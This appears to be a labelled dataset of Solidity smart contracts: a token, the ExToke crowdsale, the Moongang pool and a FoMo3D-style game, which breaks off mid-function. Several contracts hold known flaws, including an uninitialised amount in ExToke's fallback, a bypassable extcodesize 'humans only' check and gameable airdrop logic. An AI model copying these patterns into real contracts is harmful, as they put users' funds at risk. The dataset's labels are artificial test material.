mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,974 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ExToke is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
address public oldAddress;
address public tokenAdmin;
uint public _totalSupply;
uint256 public totalEthInWei;
uint256 public unitsOneEthCanBuy;
address public fundsWallet;
uint256 public crowdSaleSupply;
uint256 public tokenSwapSupply;
uint256 public dividendSupply;
uint256 public scaling;
uint256 public scaledRemainder;
uint256 public finishTime = 1548057600;
uint256 public startTime = 1540814400;
uint256[] public releaseDates =
[1575201600, 1577880000, 1580558400, 1583064000, 1585742400, 1588334400,
1591012800, 1593604800, 1596283200, 1598961600, 1601553600, 1604232000,
1606824000, 1609502400, 1612180800, 1614600000, 1617278400, 1619870400,
1622548800, 1625140800, 1627819200, 1630497600, 1633089600, 1635768000];
uint256 public nextRelease;
mapping(address => uint256) public scaledDividendBalanceOf;
uint256 public scaledDividendPerToken;
mapping(address => uint256) public scaledDividendCreditedTo;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ExToke() public {
symbol = "XTE";
name = "ExToke";
decimals = 18;
tokenAdmin = 0xEd86f5216BCAFDd85E5875d35463Aca60925bF16;
oldAddress = 0x28925299Ee1EDd8Fd68316eAA64b651456694f0f;
_totalSupply = 7000000000000000000000000000;
crowdSaleSupply = 500000000000000000000000000;
tokenSwapSupply = 2911526439961880000000000000;
dividendSupply = 2400000000000000000000000000;
unitsOneEthCanBuy = 100000;
balances[this] = 5811526439961880000000000000;
balances[0x6baba6fb9d2cb2f109a41de2c9ab0f7a1b5744ce] = 1188473560038120000000000000;
nextRelease = 0;
scaledRemainder = 0;
scaling = uint256(10) ** 8;
fundsWallet = tokenAdmin;
Transfer(this, 0x6baba6fb9d2cb2f109a41de2c9ab0f7a1b5744ce, 1188473560038120000000000000);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
update(msg.sender);
update(to);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
update(from);
update(to);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function update(address account) internal {
if(nextRelease < 24 && block.timestamp > releaseDates[nextRelease]){
releaseDivTokens();
}
uint256 owed =
scaledDividendPerToken - scaledDividendCreditedTo[account];
scaledDividendBalanceOf[account] += balances[account] * owed;
scaledDividendCreditedTo[account] = scaledDividendPerToken;
}
function () public payable {
if(startTime < block.timestamp && finishTime >= block.timestamp && crowdSaleSupply >= msg.value * unitsOneEthCanBuy){
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[this] >= amount);
balances[this] = balances[this] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
crowdSaleSupply -= msg.value * unitsOneEthCanBuy;
Transfer(this, msg.sender, amount);
tokenAdmin.transfer(msg.value);
}
else if(finishTime < block.timestamp){
balances[this] = balances[this] - amount;
balances[tokenAdmin] += crowdSaleSupply;
tokenAdmin.transfer(msg.value);
Transfer(this, tokenAdmin, amount);
crowdSaleSupply = 0;
}
}
function releaseDivTokens() public returns (bool success){
require(block.timestamp > releaseDates[nextRelease]);
uint256 releaseAmount = 100000000 * (uint256(10) ** decimals);
dividendSupply -= releaseAmount;
uint256 available = (releaseAmount * scaling) + scaledRemainder;
scaledDividendPerToken += available / _totalSupply;
scaledRemainder = available % _totalSupply;
nextRelease += 1;
return true;
}
function withdraw() public returns (bool success){
require(block.timestamp > releaseDates[0]);
update(msg.sender);
uint256 amount = scaledDividendBalanceOf[msg.sender] / scaling;
scaledDividendBalanceOf[msg.sender] %= scaling;
balances[msg.sender] += amount;
balances[this] -= amount;
emit Transfer(this, msg.sender, amount);
return true;
}
function swap(uint256 sendAmount) returns (bool success){
require(tokenSwapSupply >= sendAmount * 3);
if(ERC20Interface(oldAddress).transferFrom(msg.sender, tokenAdmin, sendAmount)){
balances[msg.sender] += sendAmount * 3;
balances[this] -= sendAmount * 3;
tokenSwapSupply -= sendAmount * 3;
}
emit Transfer(this, msg.sender, sendAmount * 3);
return true;
}
} | 0 | 1,963 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Moongang {
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
uint256 constant FEE = 100;
uint256 constant FEE_DEV = 6;
uint256 constant FEE_AUDIT = 12;
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
uint256 public max_amount;
uint256 public min_amount;
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
mapping (address => bool) public whitelist;
bool public bought_tokens;
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
bool public bonus_received;
address public sale;
ERC20 public token;
uint256 fees;
bool public allow_refunds;
uint256 public percent_reduction;
bool public whitelist_enabled;
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
whitelist_enabled = false;
whitelist[msg.sender] = true;
}
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
require(!bought_tokens && sale != 0x0);
bought_tokens = true;
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(percent_reduction > 0);
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[_to_refund] = SafeMath.sub(balances[_to_refund], eth_to_withdraw);
balances_bonus[_to_refund] = balances[_to_refund];
_to_refund.transfer(eth_to_withdraw);
}
function whitelist_addys(address[] _addys) onlyOwner {
for (uint256 i = 0; i < _addys.length; i++) {
whitelist[_addys[i]] = true;
}
}
function blacklist_addys(address[] _addys) onlyOwner {
for (uint256 i = 0; i < _addys.length; i++) {
whitelist[_addys[i]] = false;
}
}
function set_sale_address(address _sale) onlyOwner {
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner {
require(_reduction <= 100);
percent_reduction = _reduction;
}
function set_whitelist_enabled(bool _boolean) onlyOwner {
whitelist_enabled = _boolean;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
min_amount = _amount;
}
function withdraw() {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
balances[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
balances[msg.sender] = 0;
balances_bonus[msg.sender] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
msg.sender.transfer(eth_to_withdraw);
}
function partial_refund() {
require(allow_refunds && percent_reduction > 0);
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], eth_to_withdraw);
balances_bonus[msg.sender] = balances[msg.sender];
msg.sender.transfer(eth_to_withdraw);
}
function () payable underMaxAmount {
require(!bought_tokens);
if (whitelist_enabled) {
require(whitelist[msg.sender]);
}
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
} | 1 | 4,169 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_ = 0x6ccAb77AC0A2a7665E84f2B84b44Ca31beB435eB;
address constant private reward = 0x03164e242C8CBD528a1400B805d796Df02E13544;
address constant private deployer = 0xDb9396B9c7D639b7B79C33f1d100F78E042e725f;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xcdE4B62AADdf8c94c78acC47dC26364170e609da);
string constant public name = "The Winner";
string constant public symbol = "WINNER";
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(73,11);
fees_[1] = F3Ddatasets.TeamFee(81,3);
fees_[2] = F3Ddatasets.TeamFee(32,32);
fees_[3] = F3Ddatasets.TeamFee(40,10);
potSplit_[0] = F3Ddatasets.PotSplit(90,10);
potSplit_[1] = F3Ddatasets.PotSplit(67,33);
potSplit_[2] = F3Ddatasets.PotSplit(93,7);
potSplit_[3] = F3Ddatasets.PotSplit(80,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(
address _affCode,
uint256 _team
)
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
public
isActivated()
isHuman()
isWithinLimits(_eth)
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
public
isActivated()
isHuman()
isWithinLimits(_eth)
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
public
isActivated()
isHuman()
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
public
isHuman()
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
public
isHuman()
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
public
isHuman()
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
